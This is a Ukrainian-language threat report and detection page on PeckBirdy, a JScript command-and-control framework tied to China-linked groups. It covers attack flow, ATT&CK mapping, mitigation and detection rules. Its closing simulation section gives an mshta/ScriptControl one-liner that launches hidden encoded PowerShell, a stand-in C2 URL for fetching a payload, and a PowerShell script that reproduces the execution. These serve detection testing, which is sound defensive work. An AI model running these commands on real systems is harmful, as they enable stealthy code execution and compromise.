PeckBirdy: Багатофункціональна скриптова рамка для експлуатації LOLBins, використовувана групами загроз, пов’язаними з Китаєм
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
PeckBirdy – це фреймворк команд та контролю на основі JScript, який використовується APT-акторами, пов’язаними з Китаєм, для зловживання вбудованими бінарниками та розгортання модульних бекдорів, включаючи HOLODONUT та MKDOOR. Він розроблений для виконання на декількох програмах — веб-браузерах, MSHTA, WScript, NodeJS та .NET — та підтримує кілька варіантів транспорту, таких як WebSocket, Flash, Comet та HTTP. Фреймворк було помічено у кампаніях, відстежуваних як SHADOW-VOID-044 та SHADOW-EARTH-045, що націлювались на онлайн-ресурси для азартних ігор, державні веб-портали Азії та навчальний організаційний сектор.
Розслідування
Дослідники повідомили про ін’єкції шкідливих скриптів на компрометованих сайтах азартних ігор та урядових сторінках, які завантажували завантажувач PeckBirdy, що потім отримував наступні корисні навантаження — особливо експлойти для Chrome (CVE-2020-16040) та додаткові компоненти бекдору. Діяльність була пов’язана з двома модульними імплантами, HOLODONUT та MKDOOR, та пов’язана з попередньо спостережуваними групами та шаблонами інфраструктури. Аналіз також каталогізував індикатори компрометації, включаючи IP-адреси, домени та операційні деталі, такі як використання вкрадених сертифікатів підпису коду.
Пом’якшення
Блокуйте виявлені шкідливі домени та IP-адреси, та здійснюйте моніторинг нетипового використання LOLBin та виконання скриптів через MSHTA, WScript та NodeJS. Виявляти створення unique_id файлу у %TEMP% та впроваджувати сувалу перевірку сертифікатів підпису коду. Покриття відомих корисних навантажень Cobalt Strike та зібраних .NET збірок від Donut може допомогти в зниженні ризику.
Відповідь
Якщо виявлено, ізолюйте уражені системи, збирайте ін’єктовані скрипти та будь-які створені бекдор-бінарники, та блокуйте пов’язану C2-інфраструктуру. Проведіть судово-експертну тріаж для виявлення бокового переміщення та оновіть логіку виявлення для спостережуваних командних артефактів та шаблонів мережевого трафіку.
“graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[“<b>Техніка</b> – <b>T1659 Впровадження контенту</b><br /><b>Опис</b>: Ін’єкція шкідливих скриптів у заражені веб-сторінки для доставки додаткових завантажень.”] class content_injection technique execution_mshta[“<b>Техніка</b> – <b>T1218.005 Підписана довірча проксі-екзекуція: Mshta</b><br /><b>Опис</b>: Використання mshta.exe для виконання шкідливих HTML-додатків.”] class execution_mshta technique execution_compiled_html[“<b>Техніка</b> – <b>T1218.001 Підписана довірча проксі-екзекуція: Компіляція HTML файлу</b><br /><b>Опис</b>: Використання компільованих HTML файлів для запуску шкідливих JScript-скриптів.”] class execution_compiled_html technique victim_id_gen[“<b>Процес</b> – Генерація ідентифікатора жертви<br />Створення унікального ідентифікатора жертви та підготовка шкідливого скрипта.”] class victim_id_gen process credential_steal_cookie[“<b>Техніка</b> – <b>T1539 Крадіжка веб-сесійного файлу cookie</b><br /><b>Опис</b>: Із вилученням аутентифікаційних cookie з сесії браузера жертви.”] class credential_steal_cookie technique alt_auth_material_cookie[“<b>Техніка</b> – <b>T1550.004 Використання альтернативних аутентифікаційних матеріалів: Веб-сесійний cookie</b><br /><b>Опис</b>: Повторне використання викрадених сесійних cookie для аутентифікації як жертва.”] class alt_auth_material_cookie technique defense_evasion_code_signing[“<b>Техніка</b> – <b>T1553.002 Підрив контролю довіри: Підписання коду</b><br /><b>Опис</b>: Використання підробленого або неправильно підписаного коду для обходу перевірок довіри.”] class defense_evasion_code_signing technique masquerading_invalid_sig[“<b>Техніка</b> – <b>T1036.001 Маскування: Неправильний підпис коду</b><br /><b>Опис</b>: Представлення бінарних файлів з неправильними підписами для уникнення виявлення.”] class masquerading_invalid_sig technique reflective_code_loading[“<b>Техніка</b> – <b>T1620 Рефлективне завантаження коду</b><br /><b>Опис</b>: Завантаження коду безпосередньо в пам’ять без виклику завантажувача операційної системи.”] class reflective_code_loading technique process_injection[“<b>Техніка</b> – <b>T1055 Ін’єкція в процес</b><br /><b>Опис</b>: Впровадження шкідливого коду в запущений процес для приховування виконання.”] class process_injection technique impair_defenses[“<b>Техніка</b> – <b>T1562 Порушення захисту</b><br /><b>Опис</b>: Вимкнення або маніпулювання інструментами й налаштуваннями безпеки.”] class impair_defenses technique execution_guardrails[“<b>Техніка</b> – <b>T1480 Запобіжники для виконання</b><br /><b>Опис</b>: Впровадження перевірок для виконання тільки на конкретних цілях або середовищах.”] class execution_guardrails technique obfuscated_embedded_payload[“<b>Техніка</b> – <b>T1027.009 Закамуфльовані файли або інформація: Впроваджені завантаження</b><br /><b>Опис</b>: Приховування шкідливих завантажень у легітимних файлах або потоках даних.”] class obfuscated_embedded_payload technique command_and_control_web[“<b>Техніка</b> – <b>T1102 Веб-сервіс</b><br /><b>Опис</b>: Використання стандартних веб-сервісів для зв’язку команди та керування.”] class command_and_control_web technique encrypted_channel[“<b>Техніка</b> – <b>T1573 Зашифрований канал</b><br /><b>Опис</b>: Шифрування трафіку для уникнення мережевого інспектування.”] class encrypted_channel technique app_layer_web_protocols[“<b>Техніка</b> – <b>T1071.001 Протокол прикладного рівня: Веб-протоколи</b><br /><b>Опис</b>: Спілкування за допомогою загальновживаних веб-протоколів, таких як HTTP/HTTPS.”] class app_layer_web_protocols technique data_encoding[“<b>Техніка</b> – <b>T1132 Кодування даних</b><br /><b>Опис</b>: Кодування даних для уникнення виявлення під час передачі.”] class data_encoding technique lateral_movement_exploit[“<b>Техніка</b> – <b>T1210 Експлуатація віддалених сервісів</b><br /><b>Опис</b>: Використання вразливих віддалених сервісів для горизонтального переміщення.”] class lateral_movement_exploit technique remote_vulnerability[“<b>Процес</b> – Експлуатація вразливості CVE–2020–16040 в Chrome”] class remote_vulnerability process rat_holodonut[“<b>Шкідливе ПЗ</b> – HOLODONUT<br />Користувацький бекдор для віддаленого доступу”] class rat_holodonut malware rat_mkdoor[“<b>Шкідливе ПЗ</b> – MKDOOR<br />Вторинний бекдор, що забезпечує стійкість”] class rat_mkdoor malware %% Operator Nodes op_and_exec((“AND”)) class op_and_exec operator %% Connections content_injection u002du002d>|доставляє| execution_mshta content_injection u002du002d>|доставляє| execution_compiled_html execution_mshta u002du002d>|запускає| victim_id_gen execution_compiled_html u002du002d>|запускає| victim_id_gen victim_id_gen u002du002d>|готує скрипт для| credential_steal_cookie credential_steal_cookie u002du002d>|веде до| alt_auth_material_cookie credential_steal_cookie u002du002d>|дозволяє| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|включає| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|включає| reflective_code_loading defense_evasion_code_signing u002du002d>|включає| process_injection defense_evasion_code_signing u002du002d>|включає| impair_defenses defense_evasion_code_signing u002du002d>|включає| execution_guardrails defense_evasion_code_signing u002du002d>|включає| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|дозволяє| command_and_control_web command_and_control_web u002du002d>|використовує| encrypted_channel encrypted_channel u002du002d>|використовує| app_layer_web_protocols app_layer_web_protocols u002du002d>|використовує| data_encoding command_and_control_web u002du002d>|підтримує| lateral_movement_exploit lateral_movement_exploit u002du002d>|через| remote_vulnerability lateral_movement_exploit u002du002d>|розгортає| rat_holodonut lateral_movement_exploit u002du002d>|розгортає| rat_mkdoor “
Потік атаки
Виявлення
LOLBAS WScript / CScript (через process_creation)
Перегляд
Підозрілий LOLBAS MSHTA Заковика оборонного ухилення за виявленням пов’язаних команд (через process_creation)
Перегляд
Підозрілі зміни виключень захисника через WMIC (через cmdline)
Перегляд
IOCs (HashSha1) для виявлення: PeckBirdy: Універсальний фреймворк скриптів для експлуатації LOLBins, який використовується групами загроз, пов’язаними з Китаєм
Перегляд
IOCs (SourceIP) для виявлення: PeckBirdy: Універсальний фреймворк скриптів для експлуатації LOLBins, який використовується групами загроз, пов’язаними з Китаєм
Перегляд
IOCs (DestinationIP) для виявлення: PeckBirdy: Універсальний фреймворк скриптів для експлуатації LOLBins, який використовується групами загроз, пов’язаними з Китаєм
Перегляд
MSHTA та використання ScriptControl для виконання PeckBirdy [Створення процесу Windows]
Перегляд
Виявлення шкідливої ін’єкції скриптів PeckBirdy та збір облікових даних [Веб сервер]
Перегляд
Виконання симуляції
Попередня умова: Попередня перевірка телеметрії та базових показників має бути успішною.
Підстава: Цей розділ детально описує точне виконання техніки, розробленої для викликання правила виявлення. Команди та наратив МУСЯТЬ безпосередньо відображати ідентифіковані TTP та спрямовуватись на створення очікуваної телеметрії логікою виявлення.
-
Довідник атаки та команди:
Зловмисник бажає встановити канал дистанційного управління використовуючи фреймворк скриптів. Вони обирають script framework. They choosemshta.exeоскільки це підписаний бінарник Windows, що обходить більшість списків дозволів додатків. Корисне навантаження вбудовує ActiveXScriptControlоб’єкт для виконання коду JScript, вилученого з сервера C2. Кроки такі:- Завантажити шкідливе завантаження JScript з C2 (наприклад,
http://malicious.c2/payload.js). - Запустити
mshta.exeз вбудованим URIjavascript:створюєScriptControlекземпляр, завантажує завантажений скрипт і виконує його. - Код JScript створює зворотний TCP-серверний прослуховувач, завершуючи закладку.
Точна командна строка, яка створює телеметрію:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Ця команда містить обидва
mshta.exeі рядокScriptControl, що задовольняє умову Sigma. - Завантажити шкідливе завантаження JScript з C2 (наприклад,
-
Скрипт регресійного тестування:
Наведений нижче скрипт автоматизує зловмисний викликmshta. Його можна виконати на тестовій робочій станції за адміністративного акаунту.#------------------------------------------------- # Виконання PeckBirdy через mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Простий маяк – замініть на реальне корисне навантаження sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # Закодуйте корисне навантаження JScript, щоб уникнути проблем з розривом рядків $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Запуск зловмисного mshta..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Команди очищення:
Видаліть будь-які артефакти, створені під час тесту (наприклад, тимчасовий файл).#------------------------------------------------- # Очищення після симуляції PeckBirdy #------------------------------------------------- Write-Host "[*] Очищення тестових артефактів..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Зупиніть будь-які залишкові процеси mshta, запущені під час тесту Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force